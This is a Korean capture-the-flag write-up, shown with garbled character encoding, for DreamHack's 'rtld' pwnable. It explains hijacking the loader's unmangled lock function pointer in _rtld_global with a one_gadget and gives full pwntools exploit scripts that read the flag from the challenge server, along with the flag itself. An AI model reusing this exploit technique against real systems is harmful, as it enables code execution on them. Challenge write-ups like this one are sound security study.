๋ฌธ์ : DreamHack โ rtld ๋ถ๋ฅ: pwnable ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}
๋ฏธํด๊ฒฐ ๋ชฉ๋ก์ ๋ฉฐ์น ์งธ ๊ฑธ๋ ค ์๋ ๋ฌธ์ ๋ค. ์์ค๋ 40์ค๋ ์ ๋๋๋ฐ, ํ์ค pwn ๊ธฐ๋ฒ์ ์์๋๋ก ๋ค ๋ฃ์ด๋ด๋ ํ๋์ฉ ๋ค ๋งํ๋ค. ๊ฒฐ๊ตญ ์ด ๋ฌธ์ ๋ฅผ ํธ๋ ์ด์ ๋ ์ด๋ฆ ๊ทธ ์์ฒด โ rtld, ์ฆ ๋ฐํ์ ๋ก๋(ld.so) ์๋ค.
์ฃผ์ด์ง ๊ฒ: ์ฐ๊ธฐ ํ ๋ฒ, ๋ฆฌํฌ ํ๋
์์ค ์ ์ฒด๊ฐ ์ด๊ฒ ์ ๋ถ๋ค.
// gcc -o rtld rtld.c -fPIC -pie
void get_shell() { system("/bin/sh"); }
int main() {
long addr;
long value;
initialize();
printf("stdout: %p\n", stdout); // libc ์ฃผ์ ๋ฆฌํฌ (๋ฑ ํ๋)
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", &value);
*(long *)addr = value; // ์์ ์ฃผ์์ 8๋ฐ์ดํธ ์ฐ๊ธฐ (๋ฑ ํ ๋ฒ)
return 0;
}์ ๋ฆฌํ๋ฉด ์์ ์ฅ ์นด๋๋ ๋ ์ฅ์ด๋ค.
- ๋ฆฌํฌ:
printf("stdout: %p")โstdout์ libc ์_IO_2_1_stdout_๋ฅผ ๊ฐ๋ฆฌํค๋ฏ๋ก libc base ๋ฅผ ์ ํํ ์ ์ ์๋ค. - ์ฐ๊ธฐ:
*(long*)addr = valueโ ์ํ๋ ์ฃผ์์ ์ํ๋ 8๋ฐ์ดํธ๋ฅผ ๋ฑ ํ ๋ฒ ์ด๋ค. ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ์๋๋ผ ์์ํ write-what-where ๋ค.
get_shell() ์ด ์น์ ํ๊ฒ ๋ค์ด์์ง๋ง, ํจ์ ์ด๋ค. ๋ฐ์ด๋๋ฆฌ๋ PIE ๋ผ ์คํ ํ์ผ์ ๋ก๋ ์ฃผ์๊ฐ ๋งค ์คํ๋ง๋ค ๋๋ค์ด๊ณ , ์ฐ๋ฆฌ๊ฐ ๊ฐ์ง ๋ฆฌํฌ๋ libc ๋ฟ์ด๋ค. get_shell ์ ์ค์ ์ฃผ์๋ฅผ ๋ชจ๋ฅด๋ ์ด๋์ ์จ๋ฃ์ ์๋, ์ด๋๋ก ์ ํ์ํฌ ์๋ ์๋ค.

๋ณดํธ๊ธฐ๋ฒ์ ํ๋ฒํ๋ค. Canary ๊ฐ ์์ผ๋ ์คํ์ ๋ฐ์ด ๋ฆฌํด ์ฃผ์๋ฅผ ๋ฎ๋ ์ ๊ทผ์ ๋ถ๊ฐ๋ฅํ๊ณ , PIE ๋ผ ๋ฐ์ด๋๋ฆฌ ๋ด๋ถ ์ฃผ์(GOT ํฌํจ)๋ ๋ฆฌํฌ ์์ด๋ ์๋ ์ ์๋ค. ๊ทธ๋ฌ๋ "libc ์์์, ํ๋ก๊ทธ๋จ์ด ์์์ ํธ์ถํด ์ฃผ๋ ํจ์ ํฌ์ธํฐ" ๋ฅผ ๋ฑ ํ๋ ๊ณจ๋ผ ๋ฎ๋ ๊ทธ๋ฆผ๋ฐ์ ์ ๋์จ๋ค.
์ฝ์ง: ํ์ค ํ๋ณด๋ค์ด ํ๋์ฉ ๋งํ๋ค
libc ๋ฆฌํฌ + ๋จ๋ฐ ์ฐ๊ธฐ ์กฐํฉ์์ ์ ์ผ ๋จผ์ ๋ ์ค๋ฅด๋ ํ์ ๋ค์ ์์๋๋ก ์๋ํ๋ค. ๊ฒฐ๋ก ๋ถํฐ ๋งํ๋ฉด ํํ 4๊ฐ๊ฐ ์ ๋ถ ๋งํ๊ณ , ๊ทธ ๊ณผ์ ์ด ์คํ๋ ค ์ ๋ต์ ํํธ๊ฐ ๋๋ค.
๋งํ ํ์ค ๊ธฐ๋ฒ 4๊ฐ์ง โ ์ ์ ๋๋์ง (ํด๋ฆญ)
โ __malloc_hook / __free_hook
์ ์ผ ๊ณ ์ ์ ์ธ ํ์ ์ด๋ค. ํ์ง๋ง ์ด ํ๋ก๊ทธ๋จ์ malloc ๋ free ๋ ํ ๋ฒ๋ ํธ์ถํ์ง ์๋๋ค. ์ค์ ๋ก libc ์ malloc/free ์ง์
์ ์ ๋ธ๋ ์ดํฌํฌ์ธํธ๋ฅผ ๊ฑธ๊ณ ํ๋ก๊ทธ๋จ์ ๋๊น์ง ๋๋ ค๋ ๋จ ํ ๋ฒ๋ ๊ฑธ๋ฆฌ์ง ์์๋ค. ํ
์ ๋ฎ์ด๋ดค์ ํธ๋ฆฌ๊ฑฐ๋ ์ผ์ด ์๋ค.
โก stdout FSOP (_IO_2_1_stdout_ vtable hijack)
exit() ์ ์ข
๋ฃ ์ง์ _IO_cleanup โ _IO_flush_all_lockp ๋ก ์ด๋ฆฐ FILE ๋ค์ flush ํ๋ฉด์ _IO_OVERFLOW(vtable) ๋ฅผ ํธ์ถํ๋ค. ์ฌ๊ธฐ๋ฅผ ์์กฐํ๋ ๊ฒ FSOP ์ธ๋ฐ โ ์ด ๋ฐ์ด๋๋ฆฌ๋ initialize() ์์ setvbuf(stdout, NULL, _IONBF, 0) ๋ก ๋ฒํผ๋ง์ ๊บผ ๋๋ค. ์ถ๋ ฅ์ด ๋งค๋ฒ ์ฆ์ flush ๋ผ์ ์ข
๋ฃ ์์ ์ flush ํ ์์ฌ ๋ฐ์ดํฐ๊ฐ ์๊ณ , ๊ทธ๋์ vtable ์ด dereference ๋์ง ์๋๋ค. _IO_2_1_stdout_ ์ vtable ํ๋๋ฅผ ํต์งธ๋ก 0x41414141โฆ ๋ก ๋ฎ์ด๋ ์ข
๋ฃ ์ ํฌ๋์์กฐ์ฐจ ์ ๋ฌ๋ค.
โข atexit / __cxa_finalize ํธ๋ค๋ฌ ์ฒด์ธ
exit() โ __run_exit_handlers ๋ ๋ฑ๋ก๋ ์๋ฉธ์ ํจ์ ํฌ์ธํฐ๋ฅผ ํ๋์ฉ ํธ์ถํ๋ค. ์ฌ๊ธฐ๋ฅผ ๋ฎ์ผ๋ฉด ๋ ๊ฒ ๊ฐ์ง๋ง, glibc ๋ ์ด ํฌ์ธํฐ๋ค์ PTR_MANGLE ๋ก ๋ณดํธํ๋ค.
ror rdx, 0x11
xor rdx, fs:[0x30] ; pointer_guard (ํ๋ก์ธ์ค๋ณ ๋๋ค ์ํฌ๋ฆฟ)
call rdxfs:0x30 ์ ์๋ pointer_guard ๋ ํ๋ก์ธ์ค๋ง๋ค ๋๋ค์ด๋ผ, ๋ฆฌํฌ๊ฐ stdout ํ๋๋ฟ์ธ ์ด ๋ฌธ์ ์์ ์์๋ผ ๋ฐฉ๋ฒ์ด ์๋ค. ์์กฐ๋ ํฌ์ธํฐ๋ฅผ ์จ๋ฃ์ด๋ ์ธ๋งน๊ธ ๊ณผ์ ์์ ์๋ฑํ ๊ฐ์ด ๋์ด ๋ฒ๋ฆฐ๋ค.
โฃ ๋ฐ์ด๋๋ฆฌ PIE base ๋ฅผ libc ๋ก๋ถํฐ ์ ์ถ
get_shell() ์ ์ง์ ์ฐ๋ ค๋ฉด ๋ฐ์ด๋๋ฆฌ base ๊ฐ ํ์ํ๋ค. libc base ์ ์คํ ํ์ผ base ์ฌ์ด์ ๊ณ ์ ์คํ์
์ด ์๋์ง 5ํ ๋ฐ๋ณตํด /proc/pid/maps ๋ฅผ ๋น๊ตํ์ง๋ง โ ์์ ํ ๋๋ค์ด์๋ค. ์คํ ํ์ผ PIE ์ libc ๋ ์๋ก ๋ค๋ฅธ ๋๋ค ํด๋ฌ์คํฐ์ ๋งคํ๋๋ค.
์ฌ๊ธฐ์ ์ค์ํ ๊ด์ฐฐ ํ๋. โข๋ฒ์์ atexit ์ฒด์ธ์ ๋งํ์ง๋ง, ๊ทธ ๊ณผ์ ์์ exit() ์ด ์ข
๋ฃ ์ ํ์คํ ์คํํ๋ ์ฝ๋ ๊ฒฝ๋ก ๋ฅผ ํ๋ ์๊ฒ ๋๋ค. exit() ์ ๋ฑ๋ก๋ ํธ๋ค๋ฌ๋ค์ ๋ถ๋ฅด๋๋ฐ, ๊ทธ ์ค ํ๋๊ฐ ๋ก๋๊ฐ ๋ฑ๋กํด ๋ _dl_fini ๋ค. _dl_fini ์์ฒด๋ ์ ์์ ์ผ๋ก(์ธ๋งน๊ธ๋์ด) ํธ์ถ๋๋ค. ๊ทธ๋ ๋ค๋ฉด _dl_fini ์์์ ๋ถ๋ฅด๋ ํฌ์ธํฐ ์ค์ mangle ๋์ง ์์ ๊ฒ ์๋ค๋ฉด?
ํต์ฌ: _dl_fini ๊ฐ ๋ถ๋ฅด๋ ๋ฝ ํจ์ ํฌ์ธํฐ
๋ฌธ์ ์ด๋ฆ rtld ๋ run-time dynamic linker, ๊ณง ld.so ๋ฅผ ๊ฐ๋ฆฌํจ๋ค. ๋ก๋๋ ์ ์ญ ์ํ๋ฅผ _rtld_global ์ด๋ผ๋ ๊ฑฐ๋ํ ๊ตฌ์กฐ์ฒด์ ๋ค๊ณ ์๋๋ฐ, ์ด ๊ตฌ์กฐ์ฒด ์์๋ ํจ์ ํฌ์ธํฐ ๋ค์ด ๊ทธ๋๋ก(๋งน๊ธ ์์ด) ๋ฐํ ์๋ค. ๊ทธ์ค ํ๋๊ฐ ์ฌ๊ท ๋ฝ ์ฝ๋ฐฑ์ด๋ค.
_dl_fini ๋ ์ข
๋ฃ ์ ๋งจ ๋จผ์ ๋ก๋ ๋ฝ์ ์ก๋๋ค.
// glibc 2.23, elf/dl-fini.c ไธญ
__rtld_lock_lock_recursive (GL(dl_load_lock));์ด ๋งคํฌ๋ก๋ ์ด๋ ๊ฒ ์ ๊ฐ๋๋ค.
#define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)์ฆ _rtld_global._dl_rtld_lock_recursive ๋ผ๋ ํจ์ ํฌ์ธํฐ๋ฅผ ๊ทธ๋๋ก ํธ์ถ ํ๋ค. ์ธ์(rdi)๋ &_dl_load_lock.mutex ๋ค. ์ ๊ณต๋ ld-2.23.so ๋ฅผ ๋์ค์ด์
๋ธํ๋ฉด ์ด ํธ์ถ์ด ๊ทธ๋๋ก ๋ณด์ธ๋ค.

lea rax, [rip+โฆ] # 226040 <_rtld_global> ๋ก ๊ตฌ์กฐ์ฒด ์ฃผ์๋ฅผ ์ก๊ณ , mov rax, rdi ๋ก ์ธ์๋ฅผ ๋๊ธด ๋ค, call *0xโฆ(%rip) # 226f48 <_rtld_global+0xf08> โ ์คํ์
0xf08 ์ ์๋ ํจ์ ํฌ์ธํฐ๋ฅผ ๋ถ๋ฅธ๋ค. ์ด ํฌ์ธํฐ๋ atexit ์ฒด์ธ๊ณผ ๋ฌ๋ฆฌ PTR_MANGLE ๋ก ๋ณดํธ๋์ง ์๋๋ค. ํ๋ฒํ raw ํฌ์ธํฐ๋ผ ์์ ์ฐ๊ธฐ ํ ๋ฒ์ผ๋ก ๊ฐ์๋ผ์ธ ์ ์๋ค.
์ ๋ฆฌํ๋ฉด ๊ทธ๋ฆผ์ด ์ด๋ ๊ฒ ๋๋ค.

์ฌ๊ธฐ์ ์ธ์ ์ ์ฝ์ด ์๋ one_gadget(๋ ์ง์คํฐ/์คํ ์กฐ๊ฑด๋ง ๋ง์ผ๋ฉด ์ธ์ ์์ด execve("/bin/sh") ํ๋ ์ฝ๋ ์กฐ๊ฐ)์ ์จ๋ฃ์ผ๋ฉด, ํ๋ก๊ทธ๋จ์ด return 0 ์ผ๋ก ๋๋๋ ์๊ฐ ์
ธ์ด ์ด๋ฆฐ๋ค. ์ฐ๊ธฐ๋ ๋ฑ ํ ๋ฒ์ด๋ฉด ์ถฉ๋ถํ๋ค.
ํ์ ์ฃผ์ ๊ณ์ฐ: ๋ก๋๋ libc ๋ฐ๋ก ์์ ์๋ค
๋จ์ ๋ฌธ์ ๋ "_rtld_global ์ ์ฃผ์๋ฅผ ์ด๋ป๊ฒ ์๋๋" ๋ค. ์ฐ๋ฆฌ๊ฐ ๊ฐ์ง ๊ฑด libc ๋ฆฌํฌ๋ฟ์ด๊ณ _rtld_global ์ ld.so ์์ ์๋ค. ๊ทธ๋ฐ๋ฐ ๋ก๋๋ libc ๋ฅผ ์๊ธฐ ๋ฐ๋ก ์๋์ ๋งคํํ๊ธฐ ๋๋ฌธ์, libc base ์ ld base ์ฌ์ด ๊ฐ๊ฒฉ์ด ๊ณ ์ ์ด๋ค. ์ค์ ๋ก 5๋ฒ ์คํํด ํ์ธํ๋ค.

ld_base โ libc_base ๊ฐ ๋งค ์คํ ๋์ผํ๋ค. ๊ทธ๋ฌ๋ ์ฃผ์ ์ฌ์ฌ์ด ์์ฑ๋๋ค.

libc_base = stdout_leak - 0x3c5620 # _IO_2_1_stdout_ ์คํ์
ld_base = libc_base + <libc ๋งคํ ํฌ๊ธฐ> # ๋ก๋๋ libc ๋ฐ๋ก ์
_rtld_global = ld_base + 0x226040 # ld.so ์ฌ๋ณผ
target = _rtld_global + 0xf08 # _dl_rtld_lock_recursiveํจ์ : ๋ก์ปฌ ์คํ์ ์ ๊ทธ๋๋ก ์๊ฒฉ์ ์ฐ๋ฉด ์ ๋๋ค
์ฌ๊ธฐ์ ํ ๋ฒ ๊ฑธ๋ ค ๋์ด์ก๋ค. patchelf ๋ก ์ ๊ณต ld/libc ๋ฅผ ๋ฌผ๋ ค ๋ก์ปฌ์์ ์ฌํํ๋ ld_base โ libc_base = 0x400000 ์ด ๋์๋ค. ๊ทธ๋ฐ๋ฐ ์ด ๊ฐ์ ์๊ฒฉ์ ๊ทธ๋๋ก ๋ฃ์ผ๋ฉด ํ์ ์ด ์๋ฑํ ๊ณณ์ ๊ฐ๋ฆฌ์ผ ์
ธ์ด ์ ์ด๋ฆฐ๋ค.
์ด์ ๋ ์ปค๋์ mmap ์ ๋ ฌ ๋ฐฉ์ ์ฐจ์ด๋ค. ๋ด ๋ก์ปฌ ์ปค๋(6.17)์ 2MB ์ด์์ ํฐ ๋งคํ์ THP(ํฌ๋ช
๋์ฉ๋ ํ์ด์ง) ๊ฒฝ๊ณ์ธ 2MB ๋จ์๋ก ์ ๋ ฌ ํ๋ค. ๊ทธ๋์ libc/ld base ๊ฐ ํญ์ โฆ000000 ๊ผด๋ก ๋จ์ด์ง๊ณ , ๋ ์ฌ์ด ๊ฐ๊ฒฉ๋ 2MB ๋ฐฐ์(0x400000)๋ก ๋ฒ์ด์ง๋ค.
๋ฐ๋ฉด ์๊ฒฉ ์๋ฒ๋ ๋ฆฌํฌ๋ libc base ๊ฐ โฆ8fa000 ์ฒ๋ผ ํ์ด์ง ๋จ์(0x1000)๋ก๋ง ์ ๋ ฌ ๋ผ ์์๋ค. ์ค์ ๋ก ์
ธ์ ๋ด ๋ค uname ์ ์ฐ์ด๋ณด๋ ์๊ฒฉ์ Linux 4.19.234 โ ์ค๋๋ ์ปค๋์ด๋ผ ํฐ ํ์ผ ๋งคํ์ 2MB ๋ก ์ ๋ ฌํ์ง ์๋๋ค. ์ด ๊ฒฝ์ฐ ๋ก๋๋ libc ๋ฅผ ์๊ธฐ ๋ฐ๋ก ์๋์ ๋นํ์์ด ๋งคํํ๋ฏ๋ก, ๊ฐ๊ฒฉ์ ์ ํํ libc ์ PT_LOAD ์์ฝ ํฌ๊ธฐ ๊ฐ ๋๋ค.
libc PT_LOAD: (vaddr 0, memsz 0x1bfbe8) # R E
(vaddr 0x3c07c0, memsz 0x91e0) # RW
์์ฝ ํฌ๊ธฐ = pageup(0x3c07c0 + 0x91e0) = 0x3ca000 โ ์๊ฒฉ์ ld_off- ๋ก์ปฌ(THP 2MB ์ ๋ ฌ ์ปค๋):
ld_off = 0x400000 - ์๊ฒฉ(4.19 ํ์ด์ง ์ ๋ ฌ ์ปค๋):
ld_off = 0x3ca000
์๋ชป๋ ์คํ์
์ ์จ๋ ์ค์ ๋ฝ ํฌ์ธํฐ(_rtld_global+0xf08)๋ ๊ฑด๋๋ฆฌ์ง ์์ผ๋ ํ๋ก๊ทธ๋จ์ ๊ทธ๋ฅ ์กฐ์ฉํ ์ ์ ์ข
๋ฃํ๋ค(ํฌ๋์ ์์). ๋๋ถ์ ํ๋ณด ์คํ์
์ ์์ ํ๊ฒ ์๋ํด๋ณผ ์ ์์๊ณ , ๊ณ์ฐ๊ฐ 0x3ca000 ์ด ์ ํํ ๋ค์ด๋ง์๋ค.
one_gadget ๊ณ ๋ฅด๊ธฐ
์ ๊ณต๋ libc ์ one_gadget ํ๋ณด๋ ์ธ ๊ฐ๋ค.

_dl_fini ์ ๋ฝ ํธ์ถ ์์ ์ ์คํ ์ํ์ ๋ฐ๋ผ ์ด๋ค ๊ฒ์ดํธ๊ฐ ์ด๋ฆด์ง ๊ฐ๋ฆฐ๋ค. ๋ก์ปฌ์์ 0x4527aยท0xf1247 ๋ ๋ค ํตํ์ง๋ง, ์๊ฒฉ์์ [rsp+0x70] == NULL ์ ์ฝ์ ๋ง์กฑํ๋ 0xf1247 ์ด ์ค์ ๋ก ์
ธ์ ๋์ ๋ค.
gdb ๋ก ์๋ฆฌ ์ค์ธก
๋ง๋ก๋ง ํ๋ฉด ์ง์ด๋ธ ๊ฒ์ฒ๋ผ ๋ณด์ด๋, ๋ก์ปฌ์์ gdb ๋ก ํ ์คํ
์ฉ ํ์ธํ๋ค. write ๋ช
๋ น(*(long*)addr = value) ์ง์ ์ ๋ฉ์ถฐ rdx(์ฃผ์)ยทrax(๊ฐ)๋ฅผ _rtld_global+0xf08 โ one_gadget ์ผ๋ก ์ฃผ์
ํ๊ณ , ๊ทธ ์๋ฆฌ์ ๊ฐ์ด ์ค์ ๋ก ๋ฐ๋๋์ง, ๊ทธ๋ฆฌ๊ณ ์ข
๋ฃ ์ $rip ์ด ์ ๋ง ๊ทธ one_gadget ์ผ๋ก ํ๋์ง ๋ดค๋ค.

ํ๋ฉด ์ค๊ฐ์ SIGSEGV ๋ ์คํจ๊ฐ ์๋๋ผ ์ผ๋ถ๋ฌ ๋ธ ๊ฒ์ด๋ค. ํ๋ก๊ทธ๋จ์ addr: value: ์
1, 1 ์ ๋จน์ฌ ์ฃผ์ 1 ์ ์ฐ๊ฒ ๋ง๋ค๋ฉด ๊ฑฐ๊ธฐ์ ์ฃฝ๋๋ฐ, ๊ทธ ๋์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ ๋ถ ๋งคํ๋ ์ํ๋ก
ํ๋ก์ธ์ค๊ฐ ๋ฉ์ถ๋ค. ๊ทธ ์์ ์ info proc mappings ๋ก ์ง์ง libcยทld ๋ฒ ์ด์ค๋ฅผ ์ฝ๊ณ , ์ค์ ๋ฎ์ด์ฐ๊ธฐ๋
gdb ๊ฐ set *(long*)TARGET = VALUE ๋ก ๋์ ํ๋ค. ์คํ์
์ ๊ด๋ก๋ก ๊ฐ์ ํ์ง ์๊ณ ์ค์ธกํ๋ ค๋ ๊ฒ์ด๋ค.
before: *(TARGET) = ld+0xc90โ ์๋๋ ๋ก๋ ๋ด๋ถ์ ์ง์ง ๋ฝ ํจ์๊ฐ ๋ค์ด์๋ค.after : *(TARGET) = one_gadgetโ ํ ๋ฒ์ ์ฐ๊ธฐ๋ก ๊ฐ์๋ผ์ ๋ค.exitํ$rip == one_gadgetโ ์ข ๋ฃ ๊ฒฝ๋ก๊ฐ ์ ํํ ์ฐ๋ฆฌ๊ฐ ์ฌ์ ์ฃผ์๋ฅผ ํธ์ถํ๋ค.
์๋ ๊ฐ์ด ld+0xc90 ์ธ ๊ฒ๋ ์์ objdump ์ ๋ง์๋จ์ด์ง๋ค(๋ก๋๋ ์์ ์ _rtld_global+0xf08 ์ ์๊ธฐ ๋ด๋ถ ํจ์ ld+0xc90 ์ ๋ฃ์ด๋๋ค). ์ฐ๋ฆฌ๋ ๊ทธ๊ฑธ one_gadget ์ผ๋ก ๋ฐ๊ฟ์น๊ธฐํ์ ๋ฟ์ด๋ค.
์ต์คํ๋ก์
๋ก์ปฌ์์ ๋จผ์ ์ ธ์ ํ์ธํ๊ณ , ์คํ์ ๋ง ์๊ฒฉ์ฉ์ผ๋ก ๋ฐ๊ฟ ๊ทธ๋๋ก ์๋ค.
ํ๋ฉด์ ์ด ๋ฐ๋ชจ ์คํฌ๋ฆฝํธ๋ exp_demo.py ํ๋๋ก ๋ก์ปฌ/์๊ฒฉ์ ๊ฒธํ๋ค.
#!/usr/bin/env python3
# ๋ก์ปฌ/์๊ฒฉ ๊ณตํต ๋ฐ๋ชจ: ์์ค๋ solve.py, ์ฌ๊ธฐ์ ํ๋ฉด์ฉ์ผ๋ก ํ๋ฆ๋ง ์ถ๋ ฅ
import sys, time
from pwn import remote, process, context
context.log_level='error'
STDOUT_OFF=0x3c5620; RTLD_GLOBAL=0x226040; LOCK_OFF=0xf08
if sys.argv[1]=='remote':
io=remote('host3.dreamhack.games',10085,timeout=10); LD_OFF=0x3ca000; OG=0xf1247
where='์๊ฒฉ(host3.dreamhack.games:10085)'
else:
io=process(['./rtld_patched']); LD_OFF=0x400000; OG=0xf1247
where='๋ก์ปฌ(rtld_patched)'
io.recvuntil(b'stdout: '); leak=int(io.recvline().strip(),16)
libc=leak-STDOUT_OFF; target=libc+LD_OFF+RTLD_GLOBAL+LOCK_OFF; value=libc+OG
print(f'[{where}]')
print(f' stdout leak = {hex(leak)}')
print(f' libc_base = {hex(libc)}')
print(f' ld_base = {hex(libc+LD_OFF)} (libc + {hex(LD_OFF)})')
print(f' write {hex(value)}')
print(f' -> _rtld_global._dl_rtld_lock_recursive @ {hex(target)}')
io.recvuntil(b'addr: '); io.sendline(str(target).encode())
io.recvuntil(b'value: '); io.sendline(str(value).encode())
time.sleep(0.5)
io.sendline(b'echo ---shell---; id; uname -a')
if sys.argv[1]=='remote':
io.sendline(b'cat /home/rtld/flag')
time.sleep(0.8)
try:
out=io.recv(timeout=2).decode(errors='replace')
print(' '+ '\n '.join(l for l in out.splitlines() if l.strip()))
except Exception as e:
print(' (no output)', e)
io.close()cap_local.sh ๋ ๊ทธ๊ฑธ ๋ก์ปฌ ๋ชจ๋๋ก ๋๋ฆฌ๋ ๋ํผ๋ค.
์ด ๊ธ์ ๋ช ๋ น์ ๋ชจ๋
solve/์์ ์คํํ๋ค.
echo '# ๋ก์ปฌ ์ฌํ: patchelf ๋ก ์ ๊ณต ld/libc ๋ฅผ ๋ฌผ๋ฆฐ rtld_patched ๋์'
echo
TERM=dumb python3 exp_demo.py local 2>&1 | grep -vE 'terminfo|_curses'bash cap_local.sh
์๊ฒฉ์ ld_off ๋ฅผ 0x3ca000, one_gadget ์ 0xf1247 ๋ก ๋ฐ๊พผ ๊ฒ ์ ๋ถ๋ค.
cap_remote.sh ๋ ๊ฐ์ ์คํฌ๋ฆฝํธ๋ฅผ ์๊ฒฉ ๋ชจ๋๋ก ๋ถ๋ฅธ๋ค.
echo '# ์๊ฒฉ ์ค์๋ฒ ์ต์ค: ํ์ด์ง ์ ๋ ฌ ์ปค๋(4.19) ์ด๋ผ ld_off = 0x3ca000'
echo
TERM=dumb python3 exp_demo.py remote 2>&1 | grep -vE 'terminfo|_curses'bash cap_remote.sh
uid=1000(rtld) ๋ก ์
ธ์ ์ป๊ณ /home/rtld/flag ๋ฅผ ์ฝ์๋ค.
DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}์์ฒด ์๊ฒฐ solve.py
#!/usr/bin/env python3
from pwn import remote, process, context
context.log_level = 'info'
STDOUT_OFF = 0x3c5620 # _IO_2_1_stdout_ ์คํ์
RTLD_GLOBAL = 0x226040 # ld.so ๋ด _rtld_global
LOCK_OFF = 0xf08 # _rtld_global._dl_rtld_lock_recursive
def pwn(io, ld_off, one_gadget):
io.recvuntil(b'stdout: ')
leak = int(io.recvline().strip(), 16)
libc = leak - STDOUT_OFF
target = libc + ld_off + RTLD_GLOBAL + LOCK_OFF
value = libc + one_gadget
print(f"[*] libc base : {hex(libc)}")
print(f"[*] ld base : {hex(libc + ld_off)}")
print(f"[*] write {hex(value)} -> _rtld_global+0xf08 @ {hex(target)}")
io.recvuntil(b'addr: '); io.sendline(str(target).encode())
io.recvuntil(b'value: '); io.sendline(str(value).encode())
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
io = remote('host3.dreamhack.games', 10085)
pwn(io, ld_off=0x3ca000, one_gadget=0xf1247) # ํ์ด์ง ์ ๋ ฌ ์๊ฒฉ (4.19)
else:
io = process(['./rtld_patched'])
pwn(io, ld_off=0x400000, one_gadget=0xf1247) # THP 2MB ์ ๋ ฌ ๋ก์ปฌ
io.sendline(b'cat /home/rtld/flag; id')
io.interactive()๋ฆฌํฌ๋ ์ปค๋ ์ ๋ ฌ ๋ฐฉ์์ ๋ชจ๋ฅธ๋ค๋ฉด, ld_off ํ๋ณด ๋ช ๊ฐ(0x3ca000 ์ฐ์ , ์ฃผ๋ณ ํ์ด์ง, ๋ก์ปฌ๊ฐ 0x400000)๋ฅผ ์ํํ๋ฉฐ ์ฐ๋ ๊ฒ๋ ์์ ํ๋ค. ํ๋ฆฐ ์คํ์
์ ์ค์ ํฌ์ธํฐ๋ฅผ ์ ๊ฑด๋๋ ค ๊ทธ๋ฅ ์ ์ ์ข
๋ฃํ ๋ฟ์ด๋ผ, ์ ์ฐ๊ฒฐ๋ก ๋ค์ ํ๋ณด๋ฅผ ์๋ํ๋ฉด ๋๋ค.
๋ฐฉ์ด ๊ด์ ์์
์ด ๋ฌธ์ ์ ์ต์ค๋ ์ฌ์ค ์ค๋๋ glibc(2.23)์ ์ฑ์ง์ ๊ธฐ๋๋ค.
_rtld_global์ ํจ์ ํฌ์ธํฐ๊ฐ ๋งน๊ธ๋์ง ์์ โ ์ข ๋ฃยท์ธ๋ก๋ ๊ฒฝ๋ก์์ ํธ์ถ๋๋ ๋ก๋ ์ฝ๋ฐฑ๋ค์ด raw ํฌ์ธํฐ๋ผ ์์ ์ฐ๊ธฐ ํ ๋ฒ์ ๋ ธ์ถ๋๋ค. ์ต์ glibc ๋ ์ด ํ๋ฉด์ ์กฐ๊ธ์ฉ ์ค์์ง๋ง, ๊ทผ๋ณธ์ ์ผ๋ก ๋ก๋์ ์ฐ๊ธฐ ๊ฐ๋ฅ ์ ์ญ ์ํ๋ ์ฌ์ ํ ๋งค๋ ฅ์ ์ธ ํ์ ์ด๋ค.- ๋ก๋์ libc ์ ์ธ์ ๋งคํ์ด ๊ฒฐ์ ์ โ libc ๋ฆฌํฌ ํ๋๋ก ld base ๊ฐ ์ ๋๋๋ค. Full RELROยท์ถ๊ฐ ๋๋คํ๊ฐ ์์ผ๋ฉด "libc ๋ง ์๋ฉด ๋ก๋๋ ์๋ค" ๊ฐ ์ฑ๋ฆฝํ๋ค.
- ์ ์ด์ ์์ ์ฃผ์ ์ฐ๊ธฐ ํ๋ฆฌ๋ฏธํฐ๋ธ ์์ฒด ๊ฐ ๋ฌธ์ ์ ๊ทผ์์ด๋ค.
scanf("%ld", &addr)๋ก ๋ฐ์ ๊ฐ์ ๊ฒ์ฆ ์์ด*(long*)addr์ ๊ทธ๋๋ก ์ฐ๋ ์ฝ๋๋, ๋ฆฌํฌ ํ๋๋ง ๊ณ๋ค์ด๋ฉด ์ด๋ ๊ฒ ํต์งธ๋ก ๋ซ๋ฆฐ๋ค. ์ฌ์ฉ์ ์ ๋ ฅ์ ํฌ์ธํฐ๋ก ์ ๋ขฐํ์ง ์๋ ๊ฒ โ ๊ฒฐ๊ตญ ๊ทธ๊ฒ ์ ๋ถ๋ค.
์์ ๋ฌธ์ ์์ง๋ง, "์ข
๋ฃ๋ผ๋ ์ง๊ทนํ ํ๋ฒํ ์ด๋ฒคํธ ํ๋๋ ๊ณต๊ฒฉ ํ๋ฉด"์ด๋ผ๋ ๊ฑธ ๋ค์ ํ์ธํ๋ค. exit() ๋ค์์ ๋ก๋๊ฐ ์กฐ์ฉํ ๋ถ๋ฅด๋ ํจ์ ํฌ์ธํฐ ํ๋๊ฐ, ๋ฑ ํ ๋ฒ์ ์ฐ๊ธฐ๋ฅผ ์
ธ๋ก ๋ฐ๊ฟ์ฃผ์๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ